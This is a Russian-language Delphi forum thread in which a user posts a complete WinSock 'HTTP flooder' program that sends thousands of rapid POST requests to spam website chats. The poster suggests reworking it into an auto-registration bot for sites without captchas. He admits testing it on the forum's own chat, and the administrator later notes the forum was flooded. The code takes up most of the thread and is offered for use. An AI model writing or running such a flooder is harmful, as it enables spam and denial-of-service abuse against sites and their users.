Пятница, 29.03.2024, 02:12 Приветствую вас Гость | Группа "Гости" 
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: Волк-1024  
delphicode » Delphi » Windows API в Delphi » HTTP флудер (API)
HTTP флудер
gravitasДата: Воскресенье, 15.05.2011, 16:40 | Сообщение # 1
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
Выкладываю пример флудера по протоколу HTTP (сайты, чаты). Флудит методом POST запросов, отсылающихся при помощи WinSock. Чуть переделать, и может применяться даже как автореггер (если капчи нет). Тестировался на чате дельфкода (без палева biggrin ) и еще одном чате. Структуру запроса для отправки узнавать с помощью HTTP сниффера.
Code
program flood;

{$APPTYPE CONSOLE}

uses
     Windows,
     WinSock,
     SysUtils;

var
WSA:TWSAData;
S:TSocket;
sin:TSockAddr;

const
Req = 'nick=You_Name&hash=You_Hash&d=send&last=1459&msg=Text_Message';
IPHost = 'xxx.xxx.xxx.xxx';
MaxMess = 3000;
x = #13#10;

function CreateSock : boolean;
begin
result:=false;
WSAStartup($101, WSA);
S:=Socket(AF_INET, SOCK_STREAM, 0);
sin.sin_family:=AF_INET;
sin.sin_port:=htons(80);
sin.sin_addr.S_addr:=inet_addr(IPHost);
if (Connect(s, sin, SizeOf(sin)) = 0) then
result:=true;
end;

procedure SendText(Text:string);
begin
if send(s, Text[1], Length(Text), 0) = socket_error
then MessageBox(0,'Error','PiPeC',0);
end;

var
i:integer;
y:string;
begin
If CreateSock then begin
y:=
'POST /script.php HTTP/1.1'+x+
'User-Agent: Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10'+x+
'Host: cp1251.darkoff.ru'+x+
'Accept: */*;q=0.1'+x+
'Accept-Encoding: gzip,deflate'+x+
'Accept-Language: ru-RU,ru;q=0.9,en;q=0.8'+x+
'Referer: http://yandex.ru'+ x +
'Cookie2: $Version=1' + x +
'Content-length: '+IntToStr(Length(Req))+x+
'Content-Type: application/x-www-form-urlencoded'+x+
'Connection: Keep-Alive'+x+x+
Req;
for i:=1 to MaxMess do begin
SendText(y);
WriteLn(IntToStr(i)+' Message');
sleep(50);
end;
WriteLn('Off');
end;
CloseSocket(S);
WSACleanup();
ReadLn;
end.


TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
gravitasДата: Воскресенье, 30.10.2011, 11:49 | Сообщение # 2
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
Пинг хоста дает айпи, который и нужно вставлть.

TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
gravitasДата: Воскресенье, 30.10.2011, 11:53 | Сообщение # 3
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
Структуру Post\Get запросов смотрите в инете.

TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
gravitasДата: Воскресенье, 30.10.2011, 13:03 | Сообщение # 4
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
Тогда учите винсок, иначе этот код для вас будет бесполезен.

TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
dolphinДата: Понедельник, 31.10.2011, 10:42 | Сообщение # 5
Администратор
Сообщений: 906
Статус: Offline
А кто нафлудил у нас на форуме? biggrin

Система: Windows 10 x64, Kali Linux
Среды программирования: Delphi 7, Delphi 10.x

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
gravitasДата: Вторник, 01.11.2011, 08:07 | Сообщение # 6
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
За что боролись - на то и напоролись biggrin
Эт я недоглядел.


TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
delphicode » Delphi » Windows API в Delphi » HTTP флудер (API)
  • Страница 1 из 1
  • 1
Поиск:

delphicode.ru © 2008 - 2024 Хостинг от uCoz